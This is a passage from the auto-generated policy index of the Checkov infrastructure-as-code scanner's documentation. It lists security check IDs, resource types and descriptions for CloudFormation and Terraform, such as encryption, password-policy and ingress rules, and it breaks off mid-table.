[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1682 | CKV2_AWS_75 | resource | aws_xray_encryption_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1683 | CKV2_AWS_75 | resource | aws_xray_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1684 | CKV2_AWS_75 | resource | aws_xray_sampling_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | --- ================================================ FILE: docs/5.Policy Index/terraform.md ================================================ --- layout: default title: terraform resource scans nav_order: 1 --- # terraform resource scans (auto generated) | | Id | Type | Entity | Policy | IaC | Resource Link | |------|-----------------|----------|------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-----------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 0 | CKV2_ADO_1 | resource | azuredevops_branch_policy_min_reviewers | Ensure at least two approving reviews for PRs | Terraform | [ADORepositoryHasMinTwoReviewers.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azuredevops/ADORepositoryHasMinTwoReviewers.yaml) | | 1 | CKV2_ADO_1 | resource | azuredevops_git_repository | Ensure at least two approving reviews for PRs | Terraform | [ADORepositoryHasMinTwoReviewers.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azuredevops/ADORepositoryHasMinTwoReviewers.yaml) | | 2 | CKV_ALI_1 | resource | alicloud_oss_bucket | Alibaba Cloud OSS bucket accessible to public | Terraform | [OSSBucketPublic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/alicloud/OSSBucketPublic.yaml) | | 3 | CKV_ALI_1 | resource | alicloud_oss_bucket_acl | Alibaba Cloud OSS bucket accessible to public | Terraform | [OSSBucketPublic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/alicloud/OSSBucketPublic.yaml) | | 4 | CKV_ALI_2 | resource | alicloud_security_group_rule | Ensure no security groups allow ingress from 0.0.0.0:0 to port 22 | Terraform | [SecurityGroupUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/SecurityGroupUnrestrictedIngress22.py) | | 5 | CKV_ALI_3 | resource | alicloud_security_group_rule | Ensure no security groups allow ingress from 0.0.0.0:0 to port 3389 | Terraform | [SecurityGroupUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/SecurityGroupUnrestrictedIngress3389.py) | | 6 | CKV_ALI_4 | resource | alicloud_actiontrail_trail | Ensure Action Trail Logging for all regions | Terraform | [ActionTrailLogAllRegions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/ActionTrailLogAllRegions.py) | | 7 | CKV_ALI_5 | resource | alicloud_actiontrail_trail | Ensure Action Trail Logging for all events | Terraform | [ActionTrailLogAllEvents.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/ActionTrailLogAllEvents.py) | | 8 | CKV_ALI_6 | resource | alicloud_oss_bucket | Ensure OSS bucket is encrypted with Customer Master Key | Terraform | [OSSBucketEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/OSSBucketEncryptedWithCMK.py) | | 9 | CKV_ALI_7 | resource | alicloud_disk | Ensure disk is encrypted | Terraform | [DiskIsEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/DiskIsEncrypted.py) | | 10 | CKV_ALI_8 | resource | alicloud_disk | Ensure Disk is encrypted with Customer Master Key | Terraform | [DiskEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/DiskEncryptedWithCMK.py) | | 11 | CKV_ALI_9 | resource | alicloud_db_instance | Ensure database instance is not public | Terraform | [RDSIsPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RDSIsPublic.py) | | 12 | CKV_ALI_10 | resource | alicloud_oss_bucket | Ensure OSS bucket has versioning enabled | Terraform | [OSSBucketVersioning.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/OSSBucketVersioning.py) | | 13 | CKV_ALI_11 | resource | alicloud_oss_bucket | Ensure OSS bucket has transfer Acceleration enabled | Terraform | [OSSBucketTransferAcceleration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/OSSBucketTransferAcceleration.py) | | 14 | CKV_ALI_12 | resource | alicloud_oss_bucket | Ensure the OSS bucket has access logging enabled | Terraform | [OSSBucketAccessLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/OSSBucketAccessLogs.py) | | 15 | CKV_ALI_13 | resource | alicloud_ram_account_password_policy | Ensure RAM password policy requires minimum length of 14 or greater | Terraform | [RAMPasswordPolicyLength.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyLength.py) | | 16 | CKV_ALI_14 | resource | alicloud_ram_account_password_policy | Ensure RAM password policy requires at least one number | Terraform | [RAMPasswordPolicyNumber.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyNumber.py) | | 17 | CKV_ALI_15 | resource | alicloud_ram_account_password_policy | Ensure RAM password policy requires at least one symbol | Terraform | [RAMPasswordPolicySymbol.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RAMPasswordPolicySymbol.py) | | 18 | CKV_ALI_16 | resource | alicloud_ram_account_password_policy | Ensure RAM password policy expires passwords within 90 days or less | Terraform | [RAMPasswordPolicyExpiration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyExpiration.py) | | 19 | CKV_ALI_17 | resource | alicloud_ram_account_password_policy | Ensure RAM password policy requires at least one lowercase letter | Terraform | [RAMPasswordPolicyLowercaseLetter.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyLowercaseLetter.py) | | 20 | CKV_ALI_18 | resource | alicloud_ram_account_password_policy | Ensure RAM password policy prevents password reuse | Terraform | [RAMPasswordPolicyReuse.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyReuse.py) | | 21 | CKV_ALI_19 | resource | alicloud_ram_account_password_policy | Ensure RAM password policy requires at least one uppercase letter | Terraform | [RAMPasswordPolicyUppcaseLetter.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyUppcaseLetter.py) | | 22 | CKV_ALI_20 | resource | alicloud_db_instance | Ensure RDS instance uses SSL | Terraform | [RDSInstanceSSL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RDSInstanceSSL.py) | | 23 | CKV_ALI_21 | resource | alicloud_api_gateway_api | Ensure API Gateway API Protocol HTTPS | Terraform | [APIGatewayProtocolHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/APIGatewayProtocolHTTPS.py) | | 24 | CKV_ALI_22 | resource | alicloud_db_instance | Ensure Transparent Data Encryption is Enabled on instance | Terraform | [RDSTransparentDataEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RDSTransparentDataEncryptionEnabled.py) | | 25 | CKV_ALI_23 | resource | alicloud_ram_account_password_policy | Ensure Ram Account Password Policy Max Login Attempts not > 5 | Terraform | [RAMPasswordPolicyMaxLogin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyMaxLogin.py) | | 26 | CKV_ALI_24 | resource | alicloud_ram_security_preference | Ensure RAM enforces MFA | Terraform | [RAMSecurityEnforceMFA.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RAMSecurityEnforceMFA.py) | | 27 | CKV_ALI_25 | resource | alicloud_db_instance | Ensure RDS Instance SQL Collector Retention Period should be greater than 180 | Terraform | [RDSRetention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RDSRetention.py) | | 28 | CKV_ALI_26 | resource | alicloud_cs_kubernetes | Ensure Kubernetes installs plugin Terway or Flannel to support standard policies | Terraform | [K8sEnableNetworkPolicies.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/K8sEnableNetworkPolicies.py) | | 29 | CKV_ALI_27 | resource | alicloud_kms_key | Ensure KMS Key Rotation is enabled | Terraform | [KMSKeyRotationIsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/KMSKeyRotationIsEnabled.py) | | 30 | CKV_ALI_28 | resource | alicloud_kms_key | Ensure KMS Keys are enabled | Terraform | [KMSKeyIsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/KMSKeyIsEnabled.py) | | 31 | CKV_ALI_29 | resource | alicloud_alb_acl_entry_attachment | Alibaba ALB ACL does not restrict Access | Terraform | [ALBACLIsUnrestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/ALBACLIsUnrestricted.py) | | 32 | CKV_ALI_30 | resource | alicloud_db_instance | Ensure RDS instance auto upgrades for minor versions | Terraform | [RDSInstanceAutoUpgrade.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RDSInstanceAutoUpgrade.py) | | 33 | CKV_ALI_31 | resource | alicloud_cs_kubernetes_node_pool | Ensure K8s nodepools are set to auto repair | Terraform | [K8sNodePoolAutoRepair.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/K8sNodePoolAutoRepair.py) | | 34 | CKV_ALI_32 | resource | alicloud_ecs_launch_template | Ensure launch template data disks are encrypted | Terraform | [LaunchTemplateDisksAreEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/LaunchTemplateDisksAreEncrypted.py) | | 35 | CKV_ALI_33 | resource | alicloud_slb_tls_cipher_policy | Alibaba Cloud Cypher Policy are secure | Terraform | [TLSPoliciesAreSecure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/TLSPoliciesAreSecure.py) | | 36 | CKV_ALI_35 | resource | alicloud_db_instance | Ensure RDS instance has log_duration enabled | Terraform | [RDSInstanceLogsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RDSInstanceLogsEnabled.py) | | 37 | CKV_ALI_36 | resource | alicloud_db_instance | Ensure RDS instance has log_disconnections enabled | Terraform | [RDSInstanceLogDisconnections.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RDSInstanceLogDisconnections.py) | | 38 | CKV_ALI_37 | resource | alicloud_db_instance | Ensure RDS instance has log_connections enabled | Terraform | [RDSInstanceLogConnections.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RDSInstanceLogConnections.py) | | 39 | CKV_ALI_38 | resource | alicloud_log_audit | Ensure log audit is enabled for RDS | Terraform | [LogAuditRDSEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/LogAuditRDSEnabled.py) | | 40 | CKV_ALI_41 | resource | alicloud_mongodb_instance | Ensure MongoDB is deployed inside a VPC | Terraform | [MongoDBInsideVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/MongoDBInsideVPC.py) | | 41 | CKV_ALI_42 | resource | alicloud_mongodb_instance | Ensure Mongodb instance uses SSL | Terraform | [MongoDBInstanceSSL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/MongoDBInstanceSSL.py) | | 42 | CKV_ALI_43 | resource | alicloud_mongodb_instance | Ensure MongoDB instance is not public | Terraform | [MongoDBIsPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/MongoDBIsPublic.py) | | 43 | CKV_ALI_44 | resource | alicloud_mongodb_instance | Ensure MongoDB has Transparent Data Encryption Enabled | Terraform | [MongoDBTransparentDataEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/MongoDBTransparentDataEncryptionEnabled.py) | | 44 | CKV_AWS_1 | data | aws_iam_policy_document | Ensure IAM policies that allow full "*-*" administrative privileges are not created | Terraform | [AdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/AdminPolicyDocument.py) | | 45 | CKV_AWS_2 | resource | aws_alb_listener | Ensure ALB protocol is HTTPS | Terraform | [ALBListenerHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ALBListenerHTTPS.py) | | 46 | CKV_AWS_2 | resource | aws_lb_listener | Ensure ALB protocol is HTTPS | Terraform | [ALBListenerHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ALBListenerHTTPS.py) | | 47 | CKV_AWS_3 | resource | aws_ebs_volume | Ensure all data stored in the EBS is securely encrypted | Terraform | [EBSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EBSEncryption.py) | | 48 | CKV_AWS_5 | resource | aws_elasticsearch_domain | Ensure all data stored in the Elasticsearch is securely encrypted at rest | Terraform | [ElasticsearchEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchEncryption.py) | | 49 | CKV_AWS_5 | resource | aws_opensearch_domain | Ensure all data stored in the Elasticsearch is securely encrypted at rest | Terraform | [ElasticsearchEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchEncryption.py) | | 50 | CKV_AWS_6 | resource | aws_elasticsearch_domain | Ensure all Elasticsearch has node-to-node encryption enabled | Terraform | [ElasticsearchNodeToNodeEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchNodeToNodeEncryption.py) | | 51 | CKV_AWS_6 | resource | aws_opensearch_domain | Ensure all Elasticsearch has node-to-node encryption enabled | Terraform | [ElasticsearchNodeToNodeEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchNodeToNodeEncryption.py) | | 52 | CKV_AWS_7 | resource | aws_kms_key | Ensure rotation for customer created CMKs is enabled | Terraform | [KMSRotation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KMSRotation.py) | | 53 | CKV_AWS_8 | resource | aws_instance | Ensure all data stored in the Launch configuration or instance Elastic Blocks Store is securely encrypted | Terraform | [LaunchConfigurationEBSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LaunchConfigurationEBSEncryption.py) | | 54 | CKV_AWS_8 | resource | aws_launch_configuration | Ensure all data stored in the Launch configuration or instance Elastic Blocks Store is securely encrypted | Terraform | [LaunchConfigurationEBSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LaunchConfigurationEBSEncryption.py) | | 55 | CKV_AWS_9 | resource | aws_iam_account_password_policy | Ensure IAM password policy expires passwords within 90 days or less | Terraform | [PasswordPolicyExpiration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/PasswordPolicyExpiration.py) | | 56 | CKV_AWS_10 | resource | aws_iam_account_password_policy | Ensure IAM password policy requires minimum length of 14 or greater | Terraform | [PasswordPolicyLength.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/PasswordPolicyLength.py) | | 57 | CKV_AWS_11 | resource | aws_iam_account_password_policy | Ensure IAM password policy requires at least one lowercase letter | Terraform | [PasswordPolicyLowercaseLetter.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/PasswordPolicyLowercaseLetter.py) | | 58 | CKV_AWS_12 | resource | aws_iam_account_password_policy | Ensure IAM password policy requires at least one number | Terraform | [PasswordPolicyNumber.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/PasswordPolicyNumber.py) | | 59 | CKV_AWS_13 | resource | aws_iam_account_password_policy | Ensure IAM password policy prevents password reuse | Terraform | [PasswordPolicyReuse.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/PasswordPolicyReuse.py) | | 60 | CKV_AWS_14 | resource | aws_iam_account_password_policy | Ensure IAM password policy requires at least one symbol | Terraform | [PasswordPolicySymbol.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/PasswordPolicySymbol.py) | | 61 | CKV_AWS_15 | resource | aws_iam_account_password_policy | Ensure IAM password policy requires at least one uppercase letter | Terraform | [PasswordPolicyUppercaseLetter.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/PasswordPolicyUppercaseLetter.py) | | 62 | CKV_AWS_16 | resource | aws_db_instance | Ensure all data stored in the RDS is securely encrypted at rest | Terraform | [RDSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSEncryption.py) | | 63 | CKV_AWS_17 | resource | aws_db_instance | Ensure all data stored in RDS is not publicly accessible | Terraform | [RDSPubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSPubliclyAccessible.py) | | 64 | CKV_AWS_17 | resource | aws_rds_cluster_instance | Ensure all data stored in RDS is not publicly accessible | Terraform | [RDSPubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSPubliclyAccessible.py) | | 65 | CKV_AWS_18 | resource | aws_s3_bucket | Ensure the S3 bucket has access logging enabled | Terraform | [S3BucketLogging.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketLogging.yaml) | | 66 | CKV_AWS_19 | resource | aws_s3_bucket | Ensure all data stored in the S3 bucket is securely encrypted at rest | Terraform | [S3BucketEncryption.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketEncryption.yaml) | | 67 | CKV_AWS_19 | resource | aws_s3_bucket_server_side_encryption_configuration | Ensure all data stored in the S3 bucket is securely encrypted at rest | Terraform | [S3BucketEncryption.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketEncryption.yaml) | | 68 | CKV_AWS_20 | resource | aws_s3_bucket | S3 Bucket has an ACL defined which allows public READ access. | Terraform | [S3PublicACLRead.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3PublicACLRead.yaml) | | 69 | CKV_AWS_20 | resource | aws_s3_bucket_acl | S3 Bucket has an ACL defined which allows public READ access. | Terraform | [S3PublicACLRead.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3PublicACLRead.yaml) | | 70 | CKV_AWS_21 | resource | aws_s3_bucket | Ensure all data stored in the S3 bucket have versioning enabled | Terraform | [S3BucketVersioning.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketVersioning.yaml) | | 71 | CKV_AWS_21 | resource | aws_s3_bucket_versioning | Ensure all data stored in the S3 bucket have versioning enabled | Terraform | [S3BucketVersioning.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketVersioning.yaml) | | 72 | CKV_AWS_22 | resource | aws_sagemaker_notebook_instance | Ensure SageMaker Notebook is encrypted at rest using KMS CMK | Terraform | [SagemakerNotebookEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerNotebookEncryption.py) | | 73 | CKV_AWS_23 | resource | aws_db_security_group | Ensure every security group and rule has a description | Terraform | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupRuleDescription.py) | | 74 | CKV_AWS_23 | resource | aws_elasticache_security_group | Ensure every security group and rule has a description | Terraform | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupRuleDescription.py) | | 75 | CKV_AWS_23 | resource | aws_redshift_security_group | Ensure every security group and rule has a description | Terraform | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupRuleDescription.py) | | 76 | CKV_AWS_23 | resource | aws_security_group | Ensure every security group and rule has a description | Terraform | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupRuleDescription.py) | | 77 | CKV_AWS_23 | resource | aws_security_group_rule | Ensure every security group and rule has a description | Terraform | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupRuleDescription.py) | | 78 | CKV_AWS_23 | resource | aws_vpc_security_group_egress_rule | Ensure every security group and rule has a description | Terraform | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupRuleDescription.py) | | 79 | CKV_AWS_23 | resource | aws_vpc_security_group_ingress_rule | Ensure every security group and rule has a description | Terraform | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupRuleDescription.py) | | 80 | CKV_AWS_24 | resource | aws_security_group | Ensure no security groups allow ingress from 0.0.0.0:0 to port 22 | Terraform | [SecurityGroupUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress22.py) | | 81 | CKV_AWS_24 | resource | aws_security_group_rule | Ensure no security groups allow ingress from 0.0.0.0:0 to port 22 | Terraform | [SecurityGroupUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress22.py) | | 82 | CKV_AWS_24 | resource | aws_vpc_security_group_ingress_rule | Ensure no security groups allow ingress from 0.0.0.0:0 to port 22 | Terraform | [SecurityGroupUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress22.py) | | 83 | CKV_AWS_25 | resource | aws_security_group | Ensure no security groups allow ingress from 0.0.0.0:0 to port 3389 | Terraform | [SecurityGroupUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress3389.py) | | 84 | CKV_AWS_25 | resource | aws_security_group_rule | Ensure no security groups allow ingress from 0.0.0.0:0 to port 3389 | Terraform | [SecurityGroupUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress3389.py) | | 85 | CKV_AWS_25 | resource | aws_vpc_security_group_ingress_rule | Ensure no security groups allow ingress from 0.0.0.0:0 to port 3389 | Terraform | [SecurityGroupUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress3389.py) | | 86 | CKV_AWS_26 | resource | aws_sns_topic | Ensure all data stored in the SNS topic is encrypted | Terraform | [SNSTopicEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SNSTopicEncryption.py) | | 87 | CKV_AWS_27 | resource | aws_sqs_queue | Ensure all data stored in the SQS queue is encrypted | Terraform | [SQSQueueEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SQSQueueEncryption.py) | | 88 | CKV_AWS_28 | resource | aws_dynamodb_table | Ensure DynamoDB point in time recovery (backup) is enabled | Terraform | [DynamodbRecovery.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DynamodbRecovery.py) | | 89 | CKV_AWS_29 | resource | aws_elasticache_replication_group | Ensure all data stored in the ElastiCache Replication Group is securely encrypted at rest | Terraform | [ElasticacheReplicationGroupEncryptionAtRest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtRest.py) | | 90 | CKV_AWS_30 | resource | aws_elasticache_replication_group | Ensure all data stored in the ElastiCache Replication Group is securely encrypted at transit | Terraform | [ElasticacheReplicationGroupEncryptionAtTransit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtTransit.py) | | 91 | CKV_AWS_31 | resource | aws_elasticache_replication_group | Ensure all data stored in the ElastiCache Replication Group is securely encrypted at transit and has auth token | Terraform | [ElasticacheReplicationGroupEncryptionAtTransitAuthToken.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtTransitAuthToken.py) | | 92 | CKV_AWS_32 | resource | aws_ecr_repository_policy | Ensure ECR policy is not set to public | Terraform | [ECRPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECRPolicy.py) | | 93 | CKV_AWS_33 | resource | aws_kms_key | Ensure KMS key policy does not contain wildcard (*) principal | Terraform | [KMSKeyWildcardPrincipal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KMSKeyWildcardPrincipal.py) | | 94 | CKV_AWS_34 | resource | aws_cloudfront_distribution | Ensure CloudFront distribution ViewerProtocolPolicy is set to HTTPS | Terraform | [CloudfrontDistributionEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudfrontDistributionEncryption.py) | | 95 | CKV_AWS_35 | resource | aws_cloudtrail | Ensure CloudTrail logs are encrypted at rest using KMS CMKs | Terraform | [CloudtrailEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudtrailEncryptionWithCMK.py) | | 96 | CKV_AWS_36 | resource | aws_cloudtrail | Ensure CloudTrail log file validation is enabled | Terraform | [CloudtrailLogValidation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudtrailLogValidation.py) | | 97 | CKV_AWS_37 | resource | aws_eks_cluster | Ensure Amazon EKS control plane logging is enabled for all log types | Terraform | [EKSControlPlaneLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EKSControlPlaneLogging.py) | | 98 | CKV_AWS_38 | resource | aws_eks_cluster | Ensure Amazon EKS public endpoint not accessible to 0.0.0.0/0 | Terraform | [EKSPublicAccessCIDR.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EKSPublicAccessCIDR.py) | | 99 | CKV_AWS_39 | resource | aws_eks_cluster | Ensure Amazon EKS public endpoint disabled | Terraform | [EKSPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EKSPublicAccess.py) | | 100 | CKV_AWS_40 | resource | aws_iam_policy_attachment | Ensure IAM policies are attached only to groups or roles (Reducing access management complexity may in-turn reduce opportunity for a principal to inadvertently receive or retain excessive privileges.) | Terraform | [IAMPolicyAttachedToGroupOrRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPolicyAttachedToGroupOrRoles.py) | | 101 | CKV_AWS_40 | resource | aws_iam_user_policy | Ensure IAM policies are attached only to groups or roles (Reducing access management complexity may in-turn reduce opportunity for a principal to inadvertently receive or retain excessive privileges.) | Terraform | [IAMPolicyAttachedToGroupOrRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPolicyAttachedToGroupOrRoles.py) | | 102 | CKV_AWS_40 | resource | aws_iam_user_policy_attachment | Ensure IAM policies are attached only to groups or roles (Reducing access management complexity may in-turn reduce opportunity for a principal to inadvertently receive or retain excessive privileges.) | Terraform | [IAMPolicyAttachedToGroupOrRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPolicyAttachedToGroupOrRoles.py) | | 103 | CKV_AWS_41 | provider | aws | Ensure no hard coded AWS access key and secret key exists in provider | Terraform | [credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/provider/aws/credentials.py) | | 104 | CKV_AWS_42 | resource | aws_efs_file_system | Ensure EFS is securely encrypted | Terraform | [EFSEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EFSEncryptionEnabled.py) | | 105 | CKV_AWS_43 | resource | aws_kinesis_stream | Ensure Kinesis Stream is securely encrypted | 